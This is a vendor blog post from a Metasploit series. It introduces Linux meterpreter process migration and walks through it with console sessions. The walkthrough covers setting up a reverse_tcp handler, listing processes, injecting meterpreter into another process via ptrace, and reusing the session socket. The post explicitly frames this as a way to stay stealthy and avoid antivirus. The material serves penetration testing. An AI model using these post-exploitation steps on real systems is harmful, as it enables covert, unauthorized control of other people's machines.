Last updated at Wed, 07 Apr 2021 18:35:48 GMT

This post is the eleventh in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements and events in the Metasploit Framework over the course of 2014.

Hello everyone and Happy HaXmas (again) and New Year! On this HaXmas I would like to share with all you a new feature which I'm personally very happy with. It's nothing super new and has limitations, but it's the first meterpreter feature where I've been collaborating I feel really happy of sharing it with all you: support to migrate the Linux meterpreter payload.

Before going ahead, let me clarify something, as you can read on the meterpreter github page:

For some value of "working." Meterpreter in POSIX environments is not considered stable. It does stuff, but expect occasional problems.

Unfortunately it applies to the process migration feature too :. So be careful when using linux meterpreter and this feature on your pentest! You can experience reliability problems :\ Hopefully these lines also will help to explain limitations and how to use the feature!

Requirement #1: From memory

First of all, linux migrate tries to be "imitate" the windows migrate behavior. It means there is an important requirement, migration should happen from memory, without dropping meterpreter to disk. On windows it's accomplished with the well-known OpenProcess, WriteProcessMemory, CreateRemoteThread, etc. IPC APIs. But these aren't available on Linux, where we decided to use the "ptrace" interface to modify a process memory, registers and control execution. Unfortunately, it introduces the first caveats:

  1. On modern Linux distributions, ptrace restrictions use to apply, so migration isn't always possible.
  2. Once the meterpreter code is injected in the target process, original process execution is replaced. It means the target process won't do its original task anymore, once migration has been accomplished.

That said, how to use it? On older systems, where ptrace limitations are not in use, say for example Ubuntu 10.04 (32 bits), the migration usage is straightforward. It's something like that:

  • Get a meterpreter session on your target:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST
msf exploit(handler) > exploit
[*] Started reverse handler on
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1142784 bytes) to
[*] Meterpreter session 1 opened ( -> at 2014-12-31 10:43:02 -0600
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000
meterpreter > sysinfo
Computer     : ubuntu
OS           : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter >
  • Use the ps command to find a target process. There are some things to remember:
  1. The session user must own the target process.
  2. Use interruptible (or running) processes as targets.
  3. The target process won't do its original task after migration.
  4. Remember which linux meterpreter is only available on 32 bits, so even when running on a 64 bits system, the meterpreter process will be a 32 bits one. And the migration target process must be a 32 bits one too.
meterpreter > ps -U juan
Filtering on user name...
Process List
PID    PPID  Name               Arch  Session  User  Path
---    ----  ----               ----  -------  ----  ----
1894   1     gnome-keyring-d          0        juan  /usr/bin/gnome-keyring-daemon --daemonize --login
1912   1220  gnome-session            0        juan  gnome-session
1946   1912  ssh-agent                0        juan  /usr/bin/ssh-agent /usr/bin/dbus-launch --exit-with-session gnome-session
1949   1     dbus-launch              0        juan  /usr/bin/dbus-launch --exit-with-session gnome-session
1950   1     dbus-daemon              0        juan  /bin/dbus-daemon --fork --print-pid 5 --print-address 7 --session
1953   1     gconfd-2                 0        juan  /usr/lib/libgconf2-4/gconfd-2
1960   1     gnome-settings-          0        juan  /usr/lib/gnome-settings-daemon/gnome-settings-daemon
1962   1     gvfsd                    0        juan  /usr/lib/gvfs/gvfsd
1970   1     gvfs-fuse-daemo          0        juan  /usr/lib/gvfs//gvfs-fuse-daemon /home/juan/.gvfs
1971   1     vmtoolsd                 0        juan  /usr/lib/vmware-tools/sbin32/vmtoolsd -n vmusr --blockFd 3
1972   1912  polkit-gnome-au          0        juan  /usr/lib/policykit-1-gnome/polkit-gnome-authentication-agent-1
1975   1912  gnome-panel              0        juan  gnome-panel
1978   1912  metacity                 0        juan  metacity --replace
1981   1912  nm-applet                0        juan  nm-applet --sm-disable
1983   1     pulseaudio               0        juan  /usr/bin/pulseaudio --start --log-target=syslog
1984   1912  nautilus                 0        juan  nautilus
1985   1912  gnome-power-man          0        juan  gnome-power-manager
1986   1912  bluetooth-apple          0        juan  bluetooth-applet
1995   1983  gconf-helper             0        juan  /usr/lib/pulseaudio/pulse/gconf-helper
2020   1     gvfs-gdu-volume          0        juan  /usr/lib/gvfs/gvfs-gdu-volume-monitor
2025   1     bonobo-activati          0        juan  /usr/lib/bonobo-activation/bonobo-activation-server --ac-activate --ior-output-fd=19
2028   1     gvfs-gphoto2-vo          0        juan  /usr/lib/gvfs/gvfs-gphoto2-volume-monitor
2031   1     gvfsd-trash              0        juan  /usr/lib/gvfs/gvfsd-trash --spawner :1.6 /org/gtk/gvfs/exec_spaw/0
2032   1     gvfs-afc-volume          0        juan  /usr/lib/gvfs/gvfs-afc-volume-monitor
2045   1     wnck-applet              0        juan  /usr/lib/gnome-panel/wnck-applet --oaf-activate-iid=OAFIID:GNOME_Wncklet_Factory --oaf-ior-fd=18
2046   1     trashapplet              0        juan  /usr/lib/gnome-applets/trashapplet --oaf-activate-iid=OAFIID:GNOME_Panel_TrashApplet_Factory --oaf-ior-fd=24
2054   1     clock-applet             0        juan  /usr/lib/gnome-panel/clock-applet --oaf-activate-iid=OAFIID:GNOME_ClockApplet_Factory --oaf-ior-fd=21
2055   1     notification-ar          0        juan  /usr/lib/gnome-panel/notification-area-applet --oaf-activate-iid=OAFIID:GNOME_NotificationAreaApplet_Factory --oaf-ior-fd=30
2058   1     indicator-apple          0        juan  /usr/lib/indicator-applet/indicator-applet-session --oaf-activate-iid=OAFIID:GNOME_FastUserSwitchApplet_Factory --oaf-ior-fd=36
2059   1     indicator-apple          0        juan  /usr/lib/indicator-applet/indicator-applet --oaf-activate-iid=OAFIID:GNOME_IndicatorApplet_Factory --oaf-ior-fd=42
2075   1     gvfsd-metadata           0        juan  /usr/lib/gvfs/gvfsd-metadata
2076   1     indicator-me-se          0        juan  /usr/lib/indicator-me/indicator-me-service
2078   1     indicator-messa          0        juan  /usr/lib/indicator-messages/indicator-messages-service
2097   1     indicator-sessi          0        juan  /usr/lib/indicator-session/indicator-session-service
2098   1     indicator-appli          0        juan  /usr/lib/indicator-application/indicator-application-service
2099   1     indicator-sound          0        juan  /usr/lib/indicator-sound/indicator-sound-service
2109   1     gvfsd-burn               0        juan  /usr/lib/gvfs/gvfsd-burn --spawner :1.6 /org/gtk/gvfs/exec_spaw/1
2112   1     gnome-terminal           0        juan  gnome-terminal
2114   1     gnome-screensav          0        juan  gnome-screensaver
2115   2112  gnome-pty-helpe          0        juan  gnome-pty-helper
2116   2112  bash                     0        juan  bash
2147   1912  gdu-notificatio          0        juan  /usr/lib/gnome-disk-utility/gdu-notification-daemon
2159   1912  evolution-alarm          0        juan  /usr/lib/evolution/2.28/evolution-alarm-notify
2160   1912  python                   0        juan  python /usr/share/system-config-printer/
2168   1912  update-notifier          0        juan  update-notifier
2310   2112  bash                     0        juan  bash
2745   1     notify-osd               0        juan  /usr/lib/notify-osd/notify-osd
2846   2112  bash                     0        juan  bash
2989   1     gvim                     0        juan  gvim
2991   2112  bash                     0        juan  bash
3378   1     [gedit] <defunct>        0        juan
5965   2846  gdb                      0        juan  gdb /bin/ls
17323  2991  [dummy] <defunct>        0        juan
18063  2310  msf.elf                  0        juan  ./msf.elf
18084  1     gcalctool                0        juan  gcalctool
23799  1     [gedit] <defunct>        0        juan

On the case above the "gcalctool" process looks like a good candidate for this DEMO. Of course, wouldn't be the best candidate on a real intrusion, since probably the calculator won't have a long live. The easy way to use the feature is jut to provide the target PID:

meterpreter > migrate 18084
[*] Migrating to 18084
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 18084
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000
meterpreter >

Requirement #2: Reuse the original socket

As a second requirement, in order to imitate the windows behavior the meterpreter session socket will be reused. On Windows a socket can be duplicate on a remote process with WSADuplicateSocket. But such API doesn't exist on Linux as far as I know, you cannot dup() a socket on a process which isn't a child. Luckily UNIX domain sockets can be used with one caveat, they will use filesystem (which breaks the first requirement).

The most important reason for "in-memory" migration is to remain stealthy, avoiding security products such as antivirus monitoring filesystem. Hopefully, antivirus won't catch an UNIX Domain socket used just to share a socket as malicious, what makes us think it is not so bad! By default the UNIX domain socket will be written to "/tmp", but you can specify an alternate directory with an optional second argument which the command accepts:

meterpreter > migrate -h
Usage: migrate <pid> [writable_path]
Migrates the server instance to another process.
NOTE: Any open channels or other dynamic state will be lost.
meterpreter > migrate 2075 /home/juan/.pulse
[*] Migrating to 2075
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 2075

And that's all for this HaXmas and introduction to linux meterpreter migration! As always, remember which the meterpreter code is also open source if you're interested on the details! And there is a lot of work to do with the Linux meterpreter, improving its reliability and features. It's a really interesting code to work with, with lot of awaiting joys . So, if you interested in collaborate with Metasploit it is definitely a good option to look at!

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.